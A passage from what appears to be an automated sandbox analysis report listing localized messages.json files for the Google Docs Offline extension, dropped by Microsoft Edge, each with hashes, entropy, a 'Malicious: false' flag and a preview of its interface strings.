SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
